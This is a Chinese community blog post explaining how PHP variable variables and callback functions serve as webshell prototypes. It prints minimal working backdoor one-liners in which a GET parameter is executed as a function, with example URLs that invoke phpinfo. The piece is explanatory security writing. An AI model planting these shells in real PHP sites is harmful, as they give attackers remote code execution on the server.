浅谈PHP可变变量安全续续-阿里云开发者社区

开发者社区> 开发与运维> 正文

浅谈PHP可变变量安全续续

简介: http://hi.baidu.com/kpstfbahmmalqre/item/c2a167b00d570296194697bf 大家一定忘不了 Non alphanumeric code in PHP http://www.

http://hi.baidu.com/kpstfbahmmalqre/item/c2a167b00d570296194697bf

大家一定忘不了

Non alphanumeric code in PHP

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

 

Tiny PHP Shell

http://h.ackack.net/tiny-php-shell.html

 

这两个东西就是可变变量和回调函数在WEBSHELL上的高级实战运用。

 

但是要深入一个东西,必须理解它的原型。

 

首先是回调函数WEBSHELL的原型:

<?php
$_GET['x']();
?>

访问http://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。

 

可变变量的WEBSHELL的原型:

<?php
$x = $_GET['x'];

$a = "${$x()}";
?>

访问://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。

 

可变变量的WEBSHELL的原型失败的例子:

<?php
$x = $_GET['x'];
$a = "${$x}";

?>

http://127.0.0.1/2.php?x=phpinfo

爆出Parse error: syntax error, unexpected T_STRING

http://127.0.0.1/2.php?x=phpinfo()

代码未执行

http://127.0.0.1/2.php?x=@phpinfo()

代码未执行

 

到这里我们应该清楚了很多,逐本溯源,PHP手册上说明了可变变量只是动态设置变量,变量包括变量名只是在传递数据,数据不会当成代码执行!

 

数据要当成代码执行需要进入函数的参数,由函数执行,所以可变变量要实战成为可用的webshell,并且脱离eval等函数,本质还是需要往函数中传入参数依靠动态函数也就是函数回调这一特性。

 

至此浅谈PHP可变变量安全三篇合一,算是一篇比较基础的文档了,感谢Ryat牛和刺在技术上的提醒和帮助。三篇关于安全的主题分别是:

1.PHP双引号解析变量特性,容易引起PHP程序漏洞。

2.PHP可变变量语法有隐藏特性,存在“漏洞”。

3.PHP可变变量作为Webshell的原型和一些基础安全原理。

由于是科普文,本意也没想写成文档,所以更多扩展和发散就留给大家自己理解了。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
开发与运维
使用钉钉扫一扫加入圈子
+ 订阅

集结各类场景实战经验,助你开发运维畅行无忧

其他文章